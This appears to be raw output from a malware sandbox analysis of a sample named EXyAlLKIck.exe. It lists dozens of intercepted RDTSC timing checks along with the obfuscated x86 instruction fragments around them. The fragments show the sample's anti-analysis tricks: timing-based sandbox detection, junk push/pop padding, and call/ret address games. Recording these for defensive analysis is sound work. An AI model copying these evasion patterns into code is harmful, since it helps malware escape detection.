Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96AA3B second address: 96AA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96AA41 second address: 96AA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96C912 second address: 96C98C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007FE5B8F4A746h 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007FE5B8F4A757h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FE5B8F4A748h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FE5B8F4A748h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D2991h] 0x00000055 push eax 0x00000056 push ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96C98C second address: 96C990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9708B2 second address: 9708B7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 971823 second address: 971828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 970AE4 second address: 970AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 973EE9 second address: 973EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9719E5 second address: 971A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A756h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 973EED second address: 973EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 971A07 second address: 971A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 973EF3 second address: 973F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 971A0B second address: 971A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 974EBC second address: 974EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9750A4 second address: 9750B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5B8F4A74Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97761D second address: 977643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007FE5B8D9CB5Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FE5B8D9CB5Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9783F1 second address: 978435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 nop 0x00000007 cmc 0x00000008 push 00000000h 0x0000000a mov ebx, dword ptr [ebp+122D191Eh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FE5B8F4A748h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov bl, ah 0x0000002e pushad 0x0000002f mov cl, B2h 0x00000031 add ecx, 2B60350Ah 0x00000037 popad 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jnp 00007FE5B8F4A746h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 977643 second address: 977648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97A314 second address: 97A32B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007FE5B8F4A746h 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97A531 second address: 97A536 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97C4A3 second address: 97C530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8F4A756h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jmp 00007FE5B8F4A74Ah 0x00000011 nop 0x00000012 or dword ptr [ebp+122DB6D9h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FE5B8F4A748h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 jne 00007FE5B8F4A749h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FE5B8F4A748h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 adc bx, AF41h 0x0000005b xchg eax, esi 0x0000005c push edi 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97C530 second address: 97C543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE5B8D9CB56h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97A5E7 second address: 97A605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5B8F4A757h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97A605 second address: 97A613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97D486 second address: 97D48B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97D48B second address: 97D499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97B553 second address: 97B5E4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5B8F4A751h 0x0000000b popad 0x0000000c nop 0x0000000d or ebx, dword ptr [ebp+122D343Bh] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jnp 00007FE5B8F4A765h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 mov dword ptr [ebp+122D2C4Ah], edx 0x0000002d mov eax, dword ptr [ebp+122D0CA1h] 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FE5B8F4A748h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov di, 8C4Fh 0x00000051 push FFFFFFFFh 0x00000053 sbb bx, A846h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d js 00007FE5B8F4A746h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97D499 second address: 97D49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97B5E4 second address: 97B5F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97D49D second address: 97D4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97B5F3 second address: 97B5FD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8F4A74Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97D4A3 second address: 97D4AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97E364 second address: 97E3B7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE5B8F4A748h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push edi 0x00000010 pushad 0x00000011 movzx ebx, dx 0x00000014 mov edx, ebx 0x00000016 popad 0x00000017 pop ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FE5B8F4A748h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jns 00007FE5B8F4A74Ch 0x0000003a push 00000000h 0x0000003c xor ebx, dword ptr [ebp+122D2885h] 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push edi 0x00000046 pushad 0x00000047 popad 0x00000048 pop edi 0x00000049 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97E3B7 second address: 97E3DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FE5B8D9CB56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97E3DB second address: 97E3DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98043A second address: 980444 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5B8D9CB5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 97F544 second address: 97F54E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 981350 second address: 9813B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D289Dh] 0x00000012 push 00000000h 0x00000014 jmp 00007FE5B8D9CB67h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FE5B8D9CB58h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FE5B8D9CB65h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98388A second address: 98390A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A753h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE5B8F4A758h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FE5B8F4A74Dh 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FE5B8F4A748h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D2EF7h], ebx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D1F46h], ecx 0x0000003e push 00000000h 0x00000040 xor ebx, dword ptr [ebp+122D2829h] 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98390A second address: 98390E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98390E second address: 983914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 983B35 second address: 983B3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 983B3E second address: 983BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE5B8F4A746h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d or dword ptr [ebp+124759A3h], eax 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jmp 00007FE5B8F4A74Dh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 add ebx, dword ptr [ebp+122D2AA1h] 0x0000002c mov eax, dword ptr [ebp+122D12E9h] 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007FE5B8F4A748h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c mov dword ptr [ebp+1244D562h], edi 0x00000052 push FFFFFFFFh 0x00000054 mov di, CC59h 0x00000058 nop 0x00000059 push eax 0x0000005a push edx 0x0000005b push esi 0x0000005c jmp 00007FE5B8F4A752h 0x00000061 pop esi 0x00000062 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 983BBE second address: 983BC3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 985B73 second address: 985B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98BA46 second address: 98BA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5B8D9CB62h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98BA5F second address: 98BA90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A757h 0x00000007 jmp 00007FE5B8F4A752h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92665C second address: 926660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98B310 second address: 98B316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98B316 second address: 98B321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 98B321 second address: 98B33E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A751h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FE5B8F4A746h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99000F second address: 990014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 990014 second address: 99003C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE5B8F4A748h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FE5B8F4A755h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99003C second address: 990057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 990057 second address: 990093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A750h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f je 00007FE5B8F4A74Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d jp 00007FE5B8F4A74Ah 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 990093 second address: 99009D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 992177 second address: 992185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE5B8F4A746h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 992185 second address: 99218C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99218C second address: 99219B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FE5B8F4A746h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 997284 second address: 99728A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 995F92 second address: 995F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 995F98 second address: 995FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007FE5B8D9CB5Ch 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99659F second address: 9965A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9965A5 second address: 9965B5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9965B5 second address: 9965BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99689A second address: 9968AC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE5B8D9CB56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 996CE6 second address: 996CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007FE5B8F4A74Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 996CFB second address: 996CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99714C second address: 997156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE5B8F4A746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B703 second address: 99B709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B709 second address: 99B721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A754h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B85C second address: 99B860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B860 second address: 99B86A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B86A second address: 99B870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B870 second address: 99B876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99B876 second address: 99B87A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 99C108 second address: 99C119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 ja 00007FE5B8F4A74Ah 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
